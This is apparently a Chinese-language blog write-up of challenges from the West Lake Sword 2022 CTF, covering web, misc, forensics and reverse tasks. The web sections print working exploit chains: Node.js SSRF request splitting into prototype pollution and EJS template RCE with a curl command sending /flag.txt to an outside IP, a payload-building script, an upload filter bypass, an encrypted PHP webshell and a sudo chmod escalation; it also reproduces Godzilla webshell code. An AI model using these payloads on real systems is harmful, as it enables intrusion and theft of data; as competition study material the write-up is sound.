西湖论剑·2022中国杭州网络安全技能大赛
全日制高校在校生(含研究生),以所在高校为单位组队参赛,不得跨校组队。 本赛项与IoT攻防赛为同一批参赛选手,建议参赛选手组队时考虑IoT选手的比例。
线上初赛:2023年2月2日 10:00-18:00
主流CTF夺旗赛模式
又是个因为疫情原因(?)推迟举办的比赛了(
由于只能按照所在高校来组队,不能联合战队,报名结束前两天问了下,校队里一群鸽子还没组队,然后就问了下和学弟们一起组了一队,随便看看题好了。
但是喵喵比较佛系,其实没好好打,当天下午快16.才开始看题,唔(((
这篇 writeup 里有一些是比赛结束后继续做出来的,也有这过程中卡住然后根据大师傅 wp 复现的,就当学习学习,练练手记录一下好了。
一个简单的用nodejs写的登录站点(貌似暗藏玄机)
controller.js
部分源码
function Flag1Controller(req,res){ try { if(req.cookies.user === SECRET_COOKIE){ res.setHeader("This_Is_The_Flag1",flag1.toString().trim()) res.setHeader("This_Is_The_Flag2",flag2.toString().trim()) res.status(200).type("text/html").send("Login success. Welcome,admin!") } if(req.cookies.user === "admin") { res.setHeader("This_Is_The_Flag1", flag1.toString().trim()) res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!") }else{ res.status(401).type("text/html").send("Unauthorized") } }catch (__) {} }
只需要带个 user=admin
的 cookie 就行了
GET /flag1 HTTP/1.1 Host: 80.endpoint-c1f3c54854b7466b913ba6ed1b2cd64a.m.ins.cloud.dasctf.com:81 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36 Accept: textml,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: user=admin Upgrade-Insecure-Requests: 1 If-None-Match: W/"3a-RlxhITUNSh+HitDVv+yl4xv4J4I"
第二部分 flag 的话,再看 controller.js
源码
function CheckController(req,res) { let checkcode = req.body.checkcode?req.body.checkcode:1234; console.log(req.body) if(checkcode.length === 16){ try{ checkcode = checkcode.toLowerCase() if(checkcode !== "aGr5AtSp55dRacer"){ res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode}) } }catch (__) {} res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()}) }else{ res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode}) } }
这里如果传个 array 进去的话,调用 .toLowerCase()
用法会报错 Uncaught TypeError: checkcode.toLowerCase is not a function
,但是捕获异常这里直接就能跳过了,返回第二部分 flag
POST /getflag2 HTTP/1.1 Host: 80.endpoint-c1f3c54854b7466b913ba6ed1b2cd64a.m.ins.cloud.dasctf.com:81 Content-Length: 71 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36 Content-Type: application/json Accept: */* Origin: http://80.endpoint-c1f3c54854b7466b913ba6ed1b2cd64a.m.ins.cloud.dasctf.com:81 Referer: http://80.endpoint-c1f3c54854b7466b913ba6ed1b2cd64a.m.ins.cloud.dasctf.com:81/flag2 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close {"checkcode":["aGr5AtSp55dRacer",2,3,4,5,6,7,8,9,10,11,12,13,14,15,16]}
实际上直接传个长度为16的 array 就行,比如
{"checkcode":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15]}
这题附件给的太奇怪了,一个zip里面一个pdf
不过还是看提示
在实际产品场景中常见存在多种中间件的情况,这时如果存在某种拦截,可以利用框架或者中间件对于RFC标准中实现差异进行绕过。注意查看80端口服务
直接上传的话,提示
Sorry,Apache maybe refuse header equals Content-Type: multipart/form-data;.
于是要在 Content-Type: multipart/form-data
上做文章
参考 https://www.anquanke.com/post/id/241265
利用 RFC 差异来绕过,加个引号就过了
POST /ctf/hello-servlet HTTP/1.1 Host: 1.14.65.100 Content-Length: 3246 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://1.14.65.100 Content-Type: multipart/"form-data"; boundary=----WebKitFormBoundary3oAve6BcRBg213uo User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://1.14.65.100/ctf Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ------WebKitFormBoundary3oAve6BcRBg213uo Content-Disposition: form-data; name="uploadfile"; filename="bypass.jsp" Content-Type: application/octet-stream miaotony ------WebKitFormBoundary3oAve6BcRBg213uo--
DASCTF{407a13a21a6b85b1236b003479468c82}
赛后又试了试,貌似只需要不出现完整的 multipart/form-data
就能过,但是必须有 multipart/
(感觉这样出题也太迷了
app.js
var createError = require('http-errors'); var express = require('express'); var path = require('path'); var fs = require('fs'); const lodash = require('lodash') var cookieParser = require('cookie-parser'); var logger = require('morgan'); var session = require('express-session'); var index = require('./routes/index'); var bodyParser = require('body-parser');//解析,用req.body获取post参数 var app = express(); app.use(bodyParser.json()); app.use(bodyParser.urlencoded({extended: false})); app.use(cookieParser()); app.use(session({ secret : 'secret', // 对session id 相关的cookie 进行签名 resave : true, saveUninitialized: false, // 是否保存未初始化的会话 cookie : { maxAge : 1000 * 60 * 3, // 设置 session 的有效时间,单位毫秒 }, })); // view engine setup app.set('views', path.join(__dirname, 'views')); app.set('view engine', 'ejs'); // app.engine('ejs', function (filePath, options, callback) { // 设置使用 ejs 模板引擎 // fs.readFile(filePath, (err, content) => { // if (err) return callback(new Error(err)) // let compiled = lodash.template(content) // 使用 lodash.template 创建一个预编译模板方法供后面使用 // let rendered = compiled() // return callback(null, rendered) // }) // }); app.use(logger('dev')); app.use(express.static(path.join(__dirname, 'public'))); app.use('/', index); // app.use('/challenge7', challenge7); // catch 404 and forward to error handler app.use(function(req, res, next) { next(createError(404)); }); // error handler app.use(function(err, req, res, next) { // set locals, only providing error in development res.locals.message = err.message; res.locals.error = req.app.get('env') === 'development' ? err : {}; // render the error page res.status(err.status || 500); res.render('error'); }); module.exports = app;
routes/index.js
var express = require('express'); var http = require('http'); var router = express.Router(); const safeobj = require('safe-obj'); router.get('/',(req,res)=>{ if (req.query.q) { console.log('get q'); } res.render('index'); }) router.post('/copy',(req,res)=>{ res.setHeader('Content-type','text/html;charset=utf-8') var ip = req.connection.remoteAddress; console.log(ip); var obj = { msg: '', } if (!ip.includes('127.0.0.1')) { obj.msg="only for admin" res.send(JSON.stringify(obj)); return } let user = {}; for (let index in req.body) { if(!index.includes("__proto__")){ safeobj.expand(user, index, req.body[index]) } } res.render('index'); }) router.get('/curl', function(req, res) { var q = req.query.q; var resp = ""; if (q) { var url = 'http://localhost:3000/?q=' + q try { http.get(url,(res1)=>{ const { statusCode } = res1; const contentType = res1.headers['content-type']; let error; // 任何 2xx 状态码都表示成功响应,但这里只检查 200。 if (statusCode !== 200) { error = new Error('Request Failed.\n' + `Status Code: ${statusCode}`); } if (error) { console.error(error.message); // 消费响应数据以释放内存 res1.resume(); return; } res1.setEncoding('utf8'); let rawData = ''; res1.on('data', (chunk) => { rawData += chunk; res.end('request success') }); res1.on('end', () => { try { const parsedData = JSON.parse(rawData); res.end(parsedData+''); } catch (e) { res.end(e.message+''); } }); }).on('error', (e) => { res.end(`Got error: ${e.message}`); }) res.end('ok'); } catch (error) { res.end(error+''); } } else { res.send("search param 'q' missing!"); } }) module.exports = router;
一眼猜到要用 /curl
路由来构造 SSRF 打 /copy
路由下的 原型链污染,当然还差个 RCE,但是貌似源码里没找到
先看看咋打 SSRF,这里要 POST /copy 的话很明显需要请求拆分
查了下 http.get
,参考 Security Bugs in Practice: SSRF via Request Splitting
发现在 nodejs<=8 的情况下存在 Unicode 字符损坏导致的 HTTP 拆分攻击,nodejs 不会对这些 Unicode 进行编码转义,因为它们不是 HTTP 控制字符
\u{010D}\u{010A}
这样的 string 被编码为 latin1 之后就只剩下了 \r\n
,于是就能用来做请求拆分了
触发条件是:
The behaviour has been fixed in the recent Node.js 10 release, which will throw an error if the request path contains non-ascii characters. But for Node.js versions 8 or lower, any server that makes outgoing HTTP requests may be vulnerable to an SSRF via request splitting if it:
- Accepts unicode data from from user input, and
- Includes that input in the request path of an outgoing HTTP request, and
- The request has a zero-length body (such as a GET or DELETE).
然后看到一道题就用到了 NodeJS SSRF by Response Splitting — ASIS CTF Finals 2018 — Proxy-Proxy Question Walkthrough
本地搭环境起来试了试,确实可以
然后看 原型链污染
这里很明显用 safeobj.expand
把接收到的东西给放到 user 里了
过滤了 __proto__
用 constructor.prototype
绕一下就行
这个库里直接递归按照 .
做分隔写入 obj,很明显可以原型链污染
(后来发现也是现成 CVE-2021-25928
那最后就是找哪里能 RCE 或者 读文件了
既然源码里没有,那就是依赖了,瞄眼 package.json
{ "name": "hello-world", "version": "0.0.0", "private": true, "scripts": { "start": "node ./bin/www" }, "dependencies": { "cookie-parser": "~1.4.4", "debug": "~2.6.9", "ejs": "^3.0.1", "express": "~4.16.1", "express-session": "^1.17.3", "http-errors": "~1.6.3", "jade": "^1.11.0", "jsonwebtoken": "^8.5.1", "lodash": "^4.2.1", "md5": "^2.3.0", "mongodb": "^4.10.0", "morgan": "~1.9.1", "mysql": "^2.18.1", "node-serialize": "^0.0.4", "pug": "2.0.0-beta11", "safe-obj": "^1.0.2" } }
pug! 2021 巅峰极客有个题 打过!
但是这里用的渲染引擎是 ejs
(顺便,这里支持 json 或者 urlencoded
参考 EJS, Server side template injection RCE (CVE-2022-29078) - writeup
ejs 也有 RCE!
这里用到的 ejs/3.0.1 在影响范围内(3.1.7 才 fix
构造个原型链污染把这个 outputFunctionName
赋值了就行
写wp的时候才发现上面那篇喵喵的 wp 就写了一句
构造 RCE payload
{"constructor.prototype.view options.outputFunctionName":"x;process.mainModule.require('child_process').execSync('touch /tmp/miao');s"}
(实际上直接 constructor.prototype.outputFunctionName
就行,不用 json 用 urlencode 也行
然后算好 content-length,试了下可以多不能少,不然解析就烂掉了请求不到 /copy 路由了
另外要多加个 GET /
之类的去闭合原来的请求
或者也可以在第二个请求的时候加个 Connection: close
头,就不会管之后的内容了
测试一下
成功 RCE!
试了下 docker 容器里没 /dev/tcp
,又不需要弹 shell,干脆直接 curl 外带 flag 好了。
拼接一下
a HTTP/1.1 Host: 127.0.0.1 POST /copy HTTP/1.1 Content-type: application/json Content-Length: 159 {"constructor.prototype.view options.outputFunctionName":"x;process.mainModule.require('child_process').execSync('curl -F [email protected]/flag.txt 11.11.111.111:1234');s"} POST /
encodeURI("a\u{0120}HTTP/1.1\u{010D}\u{010A}Host:\u{0120}127.0.0.1\u{010D}\u{010A}\u{010D}\u{010A}POST\u{0120}/copy\u{010D}\u{010A}Content-type:\u{0120}application/json\u{010D}\u{010A}Content-Length:\u{0120}159\u{010D}\u{010A}\u{010D}\u{010A}\u{017B}\u{0122}constructor.prototype.view\u{0120}options.outputFunctionName\u{0122}:\u{0122}x;process.mainModule.require(\u{0127}child_process\u{0127}).execSync(\u{0127}curl\u{0120}-F\u{0120}[email protected]/flag.txt\u{0120}11.11.111.111:1234\u{0127});s\u{0122}\u{017D}\u{010D}\u{010A}\u{010D}\u{010A}POST\u{0120}/")
测试发现 {}""''
这些都得用 Unicode 处理才行,也就是 chr(0x0100 + ord(i))
,不如接收不到请求,只有请求了 /q=xxx 然后没了
最后拿去请求远程
GET /curl?q=a%C4%A0HTTP/1.1%C4%8D%C4%8AHost:%C4%A0127.0.0.1%C4%8D%C4%8A%C4%8D%C4%8APOST%C4%A0/copy%C4%A0HTTP/1.1%C4%8D%C4%8AContent-type:%C4%A0application/json%C4%8D%C4%8AContent-Length:%C4%A0159%C4%8D%C4%8A%C4%8D%C4%8A%C5%BB%C4%A2constructor.prototype.view%C4%A0options.outputFunctionName%C4%A2:%C4%A2x;process.mainModule.require(%C4%A7child_process%C4%A7).execSync(%C4%A7curl%C4%A0-F%C4%[email protected]/flag.txt%C4%A011.11.111.111:1234%C4%A7);s%C4%A2%C5%BD%C4%8D%C4%8A%C4%8D%C4%8APOST%C4%A0/
这题打的时候弄了老半天,早知道就自己写个脚本构造 payload 了,手动构造调了老半天写错了一堆((
赛后看其他队伍 wp 才发现原来之前有题目出过类似的了,怪不得其他师傅这么快做出来了,脚本看上去都这么像
从 [GYCTF2020]Node Game 了解 nodejs HTTP拆分攻击
顺便贴个咱改的脚本
import requests import urllib.parse payload = '''a HTTP/1.1 Host: 127.0.0.1 POST /copy HTTP/1.1 Content-type: application/json Content-Length: 159 Connection: close {"constructor.prototype.view options.outputFunctionName":"x;process.mainModule.require('child_process').execSync('curl -F [email protected]/flag.txt 11.11.111.111:1234');s"} POST /'''.replace("\n","\r\n") def payload_encode(raw): ret = u"" for i in raw: ret += chr(0x0100+ord(i)) return ret payload = payload_encode(payload) print(payload) r = requests.get('http://xxxx/curl?q=' + urllib.parse.quote(payload)) print(r.text)其实可以把长度再算算的,摸了(
编码也可以用下面这样而不必把字母数字那些 ASCII 改了
payload = payload.replace('\r\n', '\u010d\u010a') \ .replace('+', '\u012b') \ .replace(' ', '\u0120') \ .replace('"', '\u0122') \ .replace("'", '\u0a27') \ .replace('[', '\u015b') \ .replace(']', '\u015d') \ .replace('`', '\u0127')
搞点不一样的php
<?php if($_GET["a"]=="upload"){ move_uploaded_file($_FILES['file']["tmp_name"], "upload/".$_FILES['file']["name"]); }elseif ($_GET["a"]=="read") { echo file_get_contents($_GET["file"]); }elseif ($_GET["a"]=="version") { phpinfo(); }
读 /index.php
发现是一团乱码,盲猜用了啥解析引擎之类的东西
插件目录 /usr/local/lib/php/extensions/no-debug-non-zts-20190902
读 /usr/local/lib/php.ini
得到扩展路径
curl "http://80.endpoint-e3b2218dc1d446008a7cacc77c3d9bee.ins.cloud.dasctf.com:81/index.php?a=read&file=/usr/local/lib/php/extensions/no-debug-non-zts-20190902/zend_test.so" > zend_test.so
读回来然后把无关的去掉,再丢进 ida
看起来解析的时候用 abcsdfadfjiweur
作为 key 然后 RC4 解密然后当成 php 去执行
把拿下来的 index.php 看看
于是我们传个 RC4 加密后的一句话马上去就好
473xeG4d+1FXOOiInKCC2LdFHDRL3s5i4ZuTj9iuNY0O83HcUA==
base64 decode (或者 output format 选 latin1 然后 save 到文件也行)
然后整个表单 multipart/form-data 传上去
<form action="/?a=upload" method="post" enctype="multipart/form-data"> <input type="file" name="file"> <input type="submit" value="Upload"> </form>
然后访问
/upload/miaotony.php?miaotony=system('ls -al /');
这里复现环境有人打过了,原来的话这里是没权限读 flag 的
然后 /etc/sudoers
不可读,但是有个 sudoers.bak
当前的 www-data 用户可以免密执行 chmod,那直接
sudo chmod 777 /flag
cat /flag
复现的过程中发现一个问题,如果用 burpsuite 传二进制文件的话,可能会丢东西。。
解析不出来的话会报错 Fatal error: file can't parse in Unknown on line 0
调了老半天才发现是这个问题,坑死了!
但是喵喵这个 burpsuite 版本有点老了,不知道新版的还有没有这个问题了(
转 hex 得到提示,给公众号发 西湖论剑2023我来了!
看起来很正常的mp3文件
文件末尾拼接了张图片,提取出来
这个也不是二维码,大概率就是黑白转 01 了,随便写个脚本处理下
import cv2 img = cv2.imread("1.png", cv2.IMREAD_GRAYSCALE) data = '' for i in range(img.shape[0]): for j in range(img.shape[1]): if img[i,j] >= 128: data += '0' else: data += '1' print(data)
然后得到一个 zip
需要密码,然后再看 mp3,拿 MP3Stego 解密一下,试了下密码为空
就能出来个 ASCII 字符串
8750d5109208213f
解压 zip
2lO,.j2lL000iZZ2[2222iWP,.ZQQX,2.[002iZZ2[2020iWP,.ZQQX,2.[020iZZ2[2022iWLNZQQX,2.[2202iW2,2.ZQQX,2.[022iZZ2[2220iWPQQZQQX,2.[200iZZ2[202iZZ2[2200iWLNZQQX,2.[220iZZ2[222iZZ2[2000iZZ2[2002iZZ2Nj2]20lW2]20l2ZQQX,2]202.ZW2]02l2]20,2]002.XZW2]22lW2]2ZQQX,2]002.XZWWP2XZQQX,2]022.ZW2]00l2]20,2]220.XZW2]2lWPQQZQQX,2]002.XZW2]0lWPQQZQQX,2]020.XZ2]20,2]202.Z2]00Z2]02Z2]2j2]22l2]2ZWPQQZQQX,2]022.Z2]00Z2]0Z2]2Z2]22j2]2lW2]000X,2]20.,2]20.j2]2W2]2W2]22ZQ-QQZ2]2020ZWP,.ZQQX,2]020.Z2]2220ZQ--QZ2]002Z2]220Z2]020Z2]00ZQW---Q--QZ2]002Z2]000Z2]200ZQ--QZ2]002Z2]000Z2]002ZQ--QZ2]002Z2]020Z2]022ZQ--QZ2]002Z2]000Z2]022ZQ--QZ2]002Z2]020Z2]200ZQ--QZ2]002Z2]000Z2]220ZQLQZ2]2222Z2]2000Z2]000Z2]2002Z2]222Z2]020Z2]202Z2]222Z2]2202Z2]220Z2]2002Z2]2002Z2]2202Z2]222Z2]2222Z2]2202Z2]2022Z2]2020Z2]222Z2]2220Z2]2002Z2]222Z2]2020Z2]002Z2]202Z2]2200Z2]200Z2]2222Z2]2002Z2]200Z2]2022Z2]200ZQN---Q--QZ2]200Z2]000ZQXjQZQ-QQXWXXWXj
好多重复的字符,根据文件名提示盲猜是 ROT47
a=~[];a={___:++a,aaaa:(![]+"")[a],__a:++a,a_a_:(![]+"")[a],_a_:++a,a_aa:({}+"")[a],aa_a:(a[a]+"")[a],_aa:++a,aaa_:(!""+"")[a],a__:++a,a_a:++a,aa__:({}+"")[a],aa_:++a,aaa:++a,a___:++a,a__a:++a};a.a_=(a.a_=a+"")[a.a_a]+(a._a=a.a_[a.__a])+(a.aa=(a.a+"")[a.__a])+((!a)+"")[a._aa]+(a.__=a.a_[a.aa_])+(a.a=(!""+"")[a.__a])+(a._=(!""+"")[a._a_])+a.a_[a.a_a]+a.__+a._a+a.a;a.aa=a.a+(!""+"")[a._aa]+a.__+a._+a.a+a.aa;a.a=(a.___)[a.a_][a.a_];a.a(a.a(a.aa+"\""+a.a_a_+(![]+"")[a._a_]+a.aaa_+"\\"+a.__a+a.aa_+a._a_+a.__+"(\\\"\\"+a.__a+a.___+a.a__+"\\"+a.__a+a.___+a.__a+"\\"+a.__a+a._a_+a._aa+"\\"+a.__a+a.___+a._aa+"\\"+a.__a+a._a_+a.a__+"\\"+a.__a+a.___+a.aa_+"{"+a.aaaa+a.a___+a.___+a.a__a+a.aaa+a._a_+a.a_a+a.aaa+a.aa_a+a.aa_+a.a__a+a.a__a+a.aa_a+a.aaa+a.aaaa+a.aa_a+a.a_aa+a.a_a_+a.aaa+a.aaa_+a.a__a+a.aaa+a.a_a_+a.__a+a.a_a+a.aa__+a.a__+a.aaaa+a.a__a+a.a__+a.a_aa+a.a__+"}\\\"\\"+a.a__+a.___+");"+"\"")())();
直接控制台执行得到 flag
DASCTF{f8097257d699d7fdba7e97a15c4f94b4}
easy zip, easy flow
ZipCrypto Store/Deflate,bkcrack 爆破解压缩包,然后拿密钥把文件提取出来
$ echo -n dasflow.pcapng > plain.txt $ ./bkcrack -C zipeasy.zip -c dasflow.zip -p plain.txt -o 30 -x 0 504B0304 bkcrack 1.5.0 - 2022-07-07 [16:37:53] Z reduction using 6 bytes of known plaintext 100.0 % (6 / 6) [16:37:53] Attack on 1038290 Z values at index 37 Keys: 2b7d78f3 0ebcabad a069728c 67.7 % (703381 / 1038290) [16:47:34] Keys 2b7d78f3 0ebcabad a069728c $ ./bkcrack -C zipeasy.zip -c dasflow.zip -k 2b7d78f3 0ebcabad a069728c -d dasflow.zip bkcrack 1.5.0 - 2022-07-07 [16:53:57] Writing deciphered data dasflow.zip (maybe compressed) Wrote deciphered data.
解压看下 http
form-data 是上传木马,后面的 eval.php 瞄了眼是哥斯拉流量
<?php @session_start(); @set_time_limit(0); @error_reporting(0); function encode($D,$K){ for($i=0;$i<strlen($D);$i++) { $c = $K[$i+1&15]; $D[$i] = $D[$i]^$c; } return $D; } $pass='air123'; $payloadName='payload'; $key='d8ea7326e6ec5916'; if (isset($_POST[$pass])){ $data=encode(base64_decode($_POST[$pass]),$key); if (isset($_SESSION[$payloadName])){ $payload=encode($_SESSION[$payloadName],$key); if (strpos($payload,"getBasicsInfo")===false){ $payload=encode($payload,$key); } eval($payload); echo substr(md5($pass.$key),0,16); echo base64_encode(encode(@run($data),$key)); echo substr(md5($pass.$key),16); }else{ if (strpos($data,"getBasicsInfo")!==false){ $_SESSION[$payloadName]=encode($data,$key); } } }
run 函数在哥斯拉马里,如果开启 gzip 的话,会把命令 gzdecode 然后执行的结果用 gzencode 做压缩
后面的流量里传了个 flag.zip,里面有 flag,但是有密码
那大概率之前的这几个 eval.php 流量是生成这个 zip 的,参数里就会有密码
air123=J%2B5pNzMyNmU2mij7dMD%2FqHMAa1dTUh6rZrUuY2l7eDVot058H%2BAZShmyrB3w%2FOdLFa2oeH%2FjYdeYr09l6fxhLPMsLeAwg8MkGmC%2BNbz1%2BkYvogF0EFH1p%2FKFEzIcNBVfDaa946G%2BynGJob9hH1%2BWlZFwyP79y4%2FcvxxKNVw8xP1OZWE3
用上面的 key 和脚本解密一下
<?php function encode($D, $K) { for ($i = 0; $i < strlen($D); $i++) { $c = $K[$i + 1 & 15]; $D[$i] = $D[$i] ^ $c; } return $D; } $pass = 'air123'; $payloadName = 'payload'; $key = 'd8ea7326e6ec5916'; $postdata = "J%2B5pNzMyNmU2mij7dMD%2FqHMAa1dTUh6rZrUuY2l7eDVot058H%2BAZShmyrB3w%2FOdLFa2oeH%2FjYdeYr09l6fxhLPMsLeAwg8MkGmC%2BNbz1%2BkYvogF0EFH1p%2FKFEzIcNBVfDaa946G%2BynGJob9hH1%2BWlZFwyP79y4%2FcvxxKNVw8xP1OZWE3"; $data = encode(base64_decode(urldecode($postdata)), $key); // echo $data; // echo "\n\n"; echo gzdecode($data);
得到
cmdLinePsh -c "cd "/var/www/html/upload/";zip -o flag.zip /flag -P [email protected]" 2>&1
methodName
execCommand
所以密码就是 [email protected]
,解压得到 flag
#include <iostream> int main() { unsigned char enc[0x100] = {0x0AA,0x4F,0x0F,0x0E2,0x0E4,0x41,0x99,0x54,0x2C,0x2B,0x84,0x7E,0x0BC,0x8F,0x8B,0x78,0x0D3,0x73,0x88,0x5E,0x0AE,0x47,0x85,0x70,0x31,0x0B3,0x9,0x0CE,0x13,0x0F5,0x0D,0x0CA}; int key[] = {157, 68, 55, 181}; key[0] &= key[1]; key[1] |= key[2]; key[2] ^= key[3]; key[3] = ~key[3]; for (int i = 0; i < 32; i++) enc[i] ^= key[i % 4]; unsigned long long *p2 = (unsigned long long*)enc; p2[0] = (p2[0] >> 0xc) | (p2[0] << 0x34); p2[1] = (p2[1] >> 0x22) | (p2[1] << 0x1e); p2[2] = (p2[2] >> 0x38) | (p2[2] << 0x8); p2[3] = (p2[3] >> 0xe) | (p2[3] << 0x32); int *p1 = (int*)enc; int secret = 0x5df966ae; secret -= 0x21524111; for (int i = 0; i < 8; i++) { int prev = secret; secret ^= p1[i]; p1[i] -= prev; } printf("%s\n", enc); return 0; }
怎么说呢,主要这次喵喵比较佛系,没好好打,18. 结束的比赛当天有点事 (摸鱼) 下午快16.才开始看题,看到这么多题直接傻了(时长8h的比赛每一类都五六七道题也太多了吧)
比赛期间喵喵自己就做出了两道 web,然后开了两道 misc 都做到一半就结束了,唔(((
队友的话,感觉加上喵喵总共也就4个人看题,我们这群鸽子没几个人有空,学弟那边大概率还是第一次打比较大的比赛,也没啥经验,感觉下次有机会有空的话得线下一起好好打才行,哈哈
BTW,看到 有师傅整理了 复现环境,题目附件,甚至还构建好 docker 镜像了,好唉
有需要的师傅可以去复现下
就这样吧,喵呜喵呜喵
师傅们欢迎来 咱博客 逛逛喵~
溜了溜了喵(